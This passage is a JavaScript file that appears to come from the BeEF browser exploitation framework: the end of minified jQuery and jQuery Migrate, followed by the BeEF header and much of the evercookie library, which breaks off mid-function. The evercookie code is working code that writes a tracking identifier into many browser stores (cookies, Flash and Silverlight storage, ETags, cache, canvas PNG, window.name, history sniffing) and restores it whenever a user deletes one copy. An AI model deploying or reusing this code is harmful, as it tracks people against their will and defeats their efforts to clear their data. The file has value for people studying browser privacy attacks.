  1786. [n].stop&&i(a[n]);else for(n in a)a[n]&&a[n].stop&&Jn.test(n)&&i(a[n]);for(n=o.length;n--;)o[n].elem!
  1787.  
  1788. ==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1));(t||!r)&&x.dequeue
  1789.  
  1790. (this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e
  1791.  
  1792. +"queue"],i=n[e+"queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,
  1793.  
  1794. []),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!
  1795.  
  1796. 0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function ir(e,t){var
  1797.  
  1798. n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&
  1799.  
  1800. (r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:
  1801.  
  1802. {opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r)
  1803.  
  1804. {return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):
  1805.  
  1806. {complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return
  1807.  
  1808. r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds
  1809.  
  1810. [r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&
  1811.  
  1812. (r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call
  1813.  
  1814. (this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5
  1815.  
  1816. -Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for
  1817.  
  1818. (Xn=x.now();n.length>r;r++)e=n[r],e()||n[r]!==e||n.splice(r--,1);n.length||x.fx.stop
  1819.  
  1820. (),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function()
  1821.  
  1822. {Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds=
  1823.  
  1824. {slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e)
  1825.  
  1826. {return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)
  1827.  
  1828. return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)});var n,r,o={top:0,left:0},a=this
  1829.  
  1830. [0],s=a&&a.ownerDocument;if(s)return n=s.documentElement,x.contains(n,a)?(typeof
  1831.  
  1832. a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top+(r.pageYOffset||n.scrollTop)-
  1833.  
  1834. (n.clientTop||0),left:o.left+(r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o},x.offset={setOffset:function
  1835.  
  1836. (e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css
  1837.  
  1838. (e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?
  1839.  
  1840. (c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!
  1841.  
  1842. =t.top&&(u.top=t.top-o.top+p),null!=t.left&&(u.left=t.left-o.left+f),"using"in t?t.using.call(e,u):i.css
  1843.  
  1844. (u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css
  1845.  
  1846. (r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||
  1847.  
  1848. (n=e.offset()),n.top+=x.css(e[0],"borderTopWidth",!0),n.left+=x.css(e[0],"borderLeftWidth",!0)),{top:t.top-
  1849.  
  1850. n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map
  1851.  
  1852. (function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position"))
  1853.  
  1854. e=e.offsetParent;return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var
  1855.  
  1856. r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a
  1857.  
  1858. [n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]
  1859.  
  1860. =o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||
  1861.  
  1862. e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each
  1863.  
  1864. ({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&
  1865.  
  1866. (r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var
  1867.  
  1868. o;return x.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?
  1869.  
  1870. (o=n.documentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offset"+e],o
  1871.  
  1872. ["client"+e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return
  1873.  
  1874. this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof
  1875.  
  1876. module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define
  1877.  
  1878. ("jquery",[],function(){return x}))})(window);
  1879.  
  1880.  
  1881. /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
  1882. jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i
  1883.  
  1884. [n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE:
  1885.  
  1886. "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return
  1887.  
  1888. Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r
  1889.  
  1890. (o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!
  1891.  
  1892. e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is
  1893.  
  1894. active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i=
  1895.  
  1896. {},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with
  1897.  
  1898. Quirks Mode");var o=e("<input/>",{size:1}).attr("size")
  1899.  
  1900. &&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return
  1901.  
  1902. null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^
  1903.  
  1904. [238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|
  1905.  
  1906. readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is
  1907.  
  1908. deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r
  1909.  
  1910. ("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):
  1911.  
  1912. ("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in
  1913.  
  1914. IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!
  1915.  
  1916. 0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function
  1917.  
  1918. (t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase
  1919.  
  1920. ())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call
  1921.  
  1922. (e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?
  1923.  
  1924. u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t
  1925.  
  1926. in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply
  1927.  
  1928. (this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets
  1929.  
  1930. properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]
  1931.  
  1932. *)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))
  1933.  
  1934. &&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text
  1935.  
  1936. after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error
  1937.  
  1938. ("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call
  1939.  
  1940. (this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e)
  1941.  
  1942. {return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON
  1943.  
  1944. string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]
  1945.  
  1946. ([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf
  1947.  
  1948. ("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t
  1949.  
  1950. [2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!
  1951.  
  1952. 0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a
  1953.  
  1954. (e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init
  1955.  
  1956. (e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this
  1957.  
  1958. (),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t
  1959.  
  1960. (a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is
  1961.  
  1962. deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var
  1963.  
  1964. a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||
  1965.  
  1966. i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)
  1967.  
  1968. script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by
  1969.  
  1970. jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!
  1971.  
  1972. a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge
  1973.  
  1974. (d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push
  1975.  
  1976. (e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName
  1977.  
  1978. (u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge
  1979.  
  1980. ([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var
  1981.  
  1982. Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|
  1983.  
  1984. ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S
  1985.  
  1986. +|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is
  1987.  
  1988. deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave
  1989.  
  1990. $1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift
  1991.  
  1992. ("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a
  1993.  
  1994. (e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and
  1995.  
  1996. deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached
  1997.  
  1998. to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A
  1999.  
  2000. (t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is
  2001.  
  2002. deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply
  2003.  
  2004. (this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r
  2005.  
  2006. ("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n)
  2007.  
  2008. {var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault
  2009.  
  2010. (),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function
  2011.  
  2012. (t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on
  2013.  
  2014. (t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply
  2015.  
  2016. (this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return
  2017.  
  2018. n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each
  2019.  
  2020. (S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add
  2021.  
  2022. (document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!
  2023.  
  2024. 1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}
  2025.  
  2026. (jQuery,window);
  2027.  
  2028.  
  2029. //
  2030. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  2031. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  2032. // See the file 'doc/COPYING' for copying permission
  2033. //
  2034.  
  2035. /*
  2036. * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  2037. *
  2038. * by samy kamkar : [email protected] : http://samy.pl
  2039. *
  2040. * this api attempts to produce several types of persistent data
  2041. * to essentially make a cookie virtually irrevocable from a system
  2042. *
  2043. * specifically it uses:
  2044. * - standard http cookies
  2045. * - flash cookies (local shared objects)
  2046. * - silverlight isolated storage
  2047. * - png generation w/forced cache and html5 canvas pixel reading
  2048. * - http etags
  2049. * - http cache
  2050. * - window.name
  2051. * - IE userData
  2052. * - html5 session cookies
  2053. * - html5 local storage
  2054. * - html5 global storage
  2055. * - html5 database storage via sqlite
  2056. * - css history scanning
  2057. *
  2058. * if any cookie is found, it's then reset to all the other locations
  2059. * for example, if someone deletes all but one type of cookie, once
  2060. * that cookie is re-discovered, all of the other cookie types get reset
  2061. *
  2062. * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
  2063. * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  2064. *
  2065. * USAGE:
  2066.  
  2067. var ec = new evercookie();
  2068.  
  2069. // set a cookie "id" to "12345"
  2070. // usage: ec.set(key, value)
  2071. ec.set("id", "12345");
  2072.  
  2073. // retrieve a cookie called "id" (simply)
  2074. ec.get("id", function(value) { alert("Cookie value is " + value) });
  2075.  
  2076. // or use a more advanced callback function for getting our cookie
  2077. // the cookie value is the first param
  2078. // an object containing the different storage methods
  2079. // and returned cookie values is the second parameter
  2080. function getCookie(best_candidate, all_candidates)
  2081. {
  2082. alert("The retrieved cookie is: " + best_candidate + "\n" +
  2083. "You can see what each storage mechanism returned " +
  2084. "by looping through the all_candidates object.");
  2085.  
  2086. for (var item in all_candidates)
  2087. document.write("Storage mechanism " + item +
  2088. " returned " + all_candidates[item] + " votes<br>");
  2089. }
  2090. ec.get("id", getCookie);
  2091.  
  2092. // we look for "candidates" based off the number of "cookies" that
  2093. // come back matching since it's possible for mismatching cookies.
  2094. // the best candidate is very-very-likely the correct one
  2095.  
  2096. */
  2097.  
  2098. /* to turn off CSS history knocking, set _ec_history to 0 */
  2099. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  2100. var _ec_tests = 10;//1000;
  2101. var _ec_debug = 0;
  2102.  
  2103. function _ec_dump(arr, level)
  2104. {
  2105. var dumped_text = "";
  2106. if(!level) level = 0;
  2107.  
  2108. //The padding given at the beginning of the line.
  2109. var level_padding = "";
  2110. for(var j=0;j<level+1;j++) level_padding += " ";
  2111.  
  2112. if(typeof(arr) == 'object') { //Array/Hashes/Objects
  2113. for(var item in arr) {
  2114. var value = arr[item];
  2115.  
  2116. if(typeof(value) == 'object') { //If it is an array,
  2117. dumped_text += level_padding + "'" + item + "' ...\n";
  2118. dumped_text += _ec_dump(value,level+1);
  2119. } else {
  2120. dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  2121. }
  2122. }
  2123. } else { //Stings/Chars/Numbers etc.
  2124. dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  2125. }
  2126. return dumped_text;
  2127. }
  2128.  
  2129. function _ec_replace(str, key, value)
  2130. {
  2131. if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  2132. {
  2133. // find start
  2134. var idx = str.indexOf('&' + key + '=');
  2135. if (idx == -1)
  2136. idx = str.indexOf(key + '=');
  2137.  
  2138. // find end
  2139. var end = str.indexOf('&', idx + 1);
  2140. var newstr;
  2141. if (end != -1)
  2142. newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  2143. else
  2144. newstr = str.substr(0, idx) + '&' + key + '=' + value;
  2145.  
  2146. return newstr;
  2147. }
  2148. else
  2149. return str + '&' + key + '=' + value;
  2150. }
  2151.  
  2152.  
  2153. // necessary for flash to communicate with js...
  2154. // please implement a better way
  2155. var _global_lso;
  2156. function _evercookie_flash_var(cookie)
  2157. {
  2158. _global_lso = cookie;
  2159.  
  2160. // remove the flash object now
  2161. var swf = $('#myswf');
  2162. if (swf && swf.parentNode)
  2163. swf.parentNode.removeChild(swf);
  2164. }
  2165.  
  2166. var evercookie = (function () {
  2167. this._class = function() {
  2168.  
  2169. var self = this;
  2170. // private property
  2171. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  2172. this._ec = {};
  2173. var no_color = -1;
  2174.  
  2175. this.get = function(name, cb, dont_reset)
  2176. {
  2177. $(document).ready(function() {
  2178. self._evercookie(name, cb, undefined, undefined, dont_reset);
  2179. });
  2180. };
  2181.  
  2182. this.set = function(name, value)
  2183. {
  2184. $(document).ready(function() {
  2185. self._evercookie(name, function() { }, value);
  2186. });
  2187. };
  2188.  
  2189. this._evercookie = function(name, cb, value, i, dont_reset)
  2190. {
  2191. if (typeof self._evercookie == 'undefined')
  2192. self = this;
  2193.  
  2194. if (typeof i == 'undefined')
  2195. i = 0;
  2196.  
  2197. // first run
  2198. if (i == 0)
  2199. {
  2200. self.evercookie_database_storage(name, value);
  2201. self.evercookie_png(name, value);
  2202. self.evercookie_etag(name, value);
  2203. self.evercookie_cache(name, value);
  2204. self.evercookie_lso(name, value);
  2205. self.evercookie_silverlight(name, value);
  2206.  
  2207. self._ec.userData = self.evercookie_userdata(name, value);
  2208. self._ec.cookieData = self.evercookie_cookie(name, value);
  2209. self._ec.localData = self.evercookie_local_storage(name, value);
  2210. self._ec.globalData = self.evercookie_global_storage(name, value);
  2211. self._ec.sessionData = self.evercookie_session_storage(name, value);
  2212. self._ec.windowData = self.evercookie_window(name, value);
  2213.  
  2214. if (_ec_history)
  2215. self._ec.historyData = self.evercookie_history(name, value);
  2216. }
  2217.  
  2218. // when writing data, we need to make sure lso and silverlight object is there
  2219. if (typeof value != 'undefined')
  2220. {
  2221. if (
  2222. (
  2223. (typeof _global_lso == 'undefined') ||
  2224. (typeof _global_isolated == 'undefined')
  2225. )
  2226. && i++ < _ec_tests
  2227. )
  2228. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  2229. }
  2230.  
  2231. // when reading data, we need to wait for swf, db, silverlight and png
  2232. else
  2233. {
  2234. if (
  2235. (
  2236. // we support local db and haven't read data in yet
  2237. (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  2238. (typeof _global_lso == 'undefined') ||
  2239. (typeof self._ec.etagData == 'undefined') ||
  2240. (typeof self._ec.cacheData == 'undefined') ||
  2241. (document.createElement('canvas').getContext && (typeof
  2242.  
  2243. self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  2244. (typeof _global_isolated == 'undefined')
  2245. )
  2246. &&
  2247. i++ < _ec_tests
  2248. )
  2249. {
  2250. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  2251. }
  2252.  
  2253. // we hit our max wait time or got all our data
  2254. else
  2255. {
  2256. // get just the piece of data we need from swf
  2257. self._ec.lsoData = self.getFromStr(name, _global_lso);
  2258. _global_lso = undefined;
  2259.  
  2260. // get just the piece of data we need from silverlight
  2261. self._ec.slData = self.getFromStr(name, _global_isolated);
  2262. _global_isolated = undefined;
  2263.  
  2264. var tmpec = self._ec;
  2265. self._ec = {};
  2266.  
  2267. // figure out which is the best candidate
  2268. var candidates = new Array();
  2269. var bestnum = 0;
  2270. var candidate;
  2271. for (var item in tmpec)
  2272. {
  2273. if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null'
  2274.  
  2275. && tmpec[item] != '' &&
  2276. tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item]
  2277.  
  2278. != null)
  2279. {
  2280. candidates[tmpec[item]] = typeof candidates
  2281.  
  2282. [tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  2283. }
  2284. }
  2285.  
  2286. for (var item in candidates)
  2287. {
  2288. if (candidates[item] > bestnum)
  2289. {
  2290. bestnum = candidates[item];
  2291. candidate = item;
  2292. }
  2293. }
  2294.  
  2295. // reset cookie everywhere
  2296. if (typeof dont_reset == "undefined" || dont_reset != 1)
  2297. self.set(name, candidate);
  2298.  
  2299. if (typeof cb == 'function')
  2300. cb(candidate, tmpec);
  2301. }
  2302. }
  2303. };
  2304.  
  2305. this.evercookie_window = function(name, value)
  2306. {
  2307. try {
  2308. if (typeof(value) != "undefined")
  2309. window.name = _ec_replace(window.name, name, value);
  2310. else
  2311. return this.getFromStr(name, window.name);
  2312. } catch(e) { }
  2313. };
  2314.  
  2315. this.evercookie_userdata = function(name, value)
  2316. {
  2317. try {
  2318. var elm = this.createElem('div', 'userdata_el', 1);
  2319. elm.style.behavior = "url(#default#userData)";
  2320.  
  2321. if (typeof(value) != "undefined")
  2322. {
  2323. elm.setAttribute(name, value);
  2324. elm.save(name);
  2325. }
  2326. else
  2327. {
  2328. elm.load(name);
  2329. return elm.getAttribute(name);
  2330. }
  2331. } catch(e) { }
  2332. };
  2333.  
  2334. this.evercookie_cache = function(name, value)
  2335. {
  2336. if (typeof(value) != "undefined")
  2337. {
  2338. // make sure we have evercookie session defined first
  2339. document.cookie = 'evercookie_cache=' + value;
  2340.  
  2341. // evercookie_cache.php handles caching
  2342. var img = new Image();
  2343. img.style.visibility = 'hidden';
  2344. img.style.position = 'absolute';
  2345. img.src = 'evercookie_cache.php?name=' + name;
  2346. }
  2347. else
  2348. {
  2349. // interestingly enough, we want to erase our evercookie
  2350. // http cookie so the php will force a cached response
  2351. var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  2352. self._ec.cacheData = undefined;
  2353. document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  2354.  
  2355. $.ajax({
  2356. url: 'evercookie_cache.php?name=' + name,
  2357. success: function(data) {
  2358. // put our cookie back
  2359. document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue,
  2360.  
  2361. 31 Dec 2030 00:00:00 UTC; path=/';
  2362.  
  2363. self._ec.cacheData = data;
  2364. }
  2365. });
  2366. }
  2367. };
  2368.  
  2369. this.evercookie_etag = function(name, value)
  2370. {
  2371. if (typeof(value) != "undefined")
  2372. {
  2373. // make sure we have evercookie session defined first
  2374. document.cookie = 'evercookie_etag=' + value;
  2375.  
  2376. // evercookie_etag.php handles etagging
  2377. var img = new Image();
  2378. img.style.visibility = 'hidden';
  2379. img.style.position = 'absolute';
  2380. img.src = 'evercookie_etag.php?name=' + name;
  2381. }
  2382. else
  2383. {
  2384. // interestingly enough, we want to erase our evercookie
  2385. // http cookie so the php will force a cached response
  2386. var origvalue = this.getFromStr('evercookie_etag', document.cookie);
  2387. self._ec.etagData = undefined;
  2388. document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  2389.  
  2390. $.ajax({
  2391. url: 'evercookie_etag.php?name=' + name,
  2392. success: function(data) {
  2393. // put our cookie back
  2394. document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31
  2395.  
  2396. Dec 2030 00:00:00 UTC; path=/';
  2397.  
  2398. self._ec.etagData = data;
  2399. }
  2400. });
  2401. }
  2402. };
  2403.  
  2404. this.evercookie_lso = function(name, value)
  2405. {
  2406. var div = document.getElementById('swfcontainer');
  2407. if (!div)
  2408. {
  2409. div = document.createElement("div");
  2410. div.setAttribute('id', 'swfcontainer');
  2411. document.body.appendChild(div);
  2412. }
  2413.  
  2414. var flashvars = {};
  2415. if (typeof value != 'undefined')
  2416. flashvars.everdata = name + '=' + value;
  2417.  
  2418. var params = {};
  2419. params.swliveconnect = "true";
  2420. var attributes = {};
  2421. attributes.id = "myswf";
  2422. attributes.name = "myswf";
  2423. swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params,
  2424.  
  2425. attributes);
  2426. };
  2427.  
  2428. this.evercookie_png = function(name, value)
  2429. {
  2430. if (document.createElement('canvas').getContext)
  2431. {
  2432. if (typeof(value) != "undefined")
  2433. {
  2434. // make sure we have evercookie session defined first
  2435. document.cookie = 'evercookie_png=' + value;
  2436.  
  2437. // evercookie_png.php handles the hard part of generating the image
  2438. // based off of the http cookie and returning it cached
  2439. var img = new Image();
  2440. img.style.visibility = 'hidden';
  2441. img.style.position = 'absolute';
  2442. img.src = 'evercookie_png.php?name=' + name;
  2443. }
  2444. else
  2445. {
  2446. self._ec.pngData = undefined;
  2447. var context = document.createElement('canvas');
  2448. context.style.visibility = 'hidden';
  2449. context.style.position = 'absolute';
  2450. context.width = 200;
  2451. context.height = 1;
  2452. var ctx = context.getContext('2d');
  2453.  
  2454. // interestingly enough, we want to erase our evercookie
  2455. // http cookie so the php will force a cached response
  2456. var origvalue = this.getFromStr('evercookie_png', document.cookie);
  2457. document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC;
  2458.  
  2459. path=/';
  2460.  
  2461. var img = new Image();
  2462. img.style.visibility = 'hidden';
  2463. img.style.position = 'absolute';
  2464. img.src = 'evercookie_png.php?name=' + name;
  2465.  
  2466. img.onload = function()
  2467. {
  2468. // put our cookie back
  2469. document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31
  2470.  
  2471. Dec 2030 00:00:00 UTC; path=/';
  2472.  
  2473. self._ec.pngData = '';
  2474. ctx.drawImage(img,0,0);
  2475.  
  2476. // get CanvasPixelArray from given coordinates and dimensions
  2477. var imgd = ctx.getImageData(0, 0, 200, 1);
  2478. var pix = imgd.data;
  2479.  
  2480. // loop over each pixel to get the "RGB" values (ignore alpha)
  2481. for (var i = 0, n = pix.length; i < n; i += 4)
  2482. {
  2483. if (pix[i ] == 0) break;
  2484. self._ec.pngData += String.fromCharCode(pix[i]);
  2485. if (pix[i+1] == 0) break;
  2486. self._ec.pngData += String.fromCharCode(pix[i+1]);
  2487. if (pix[i+2] == 0) break;
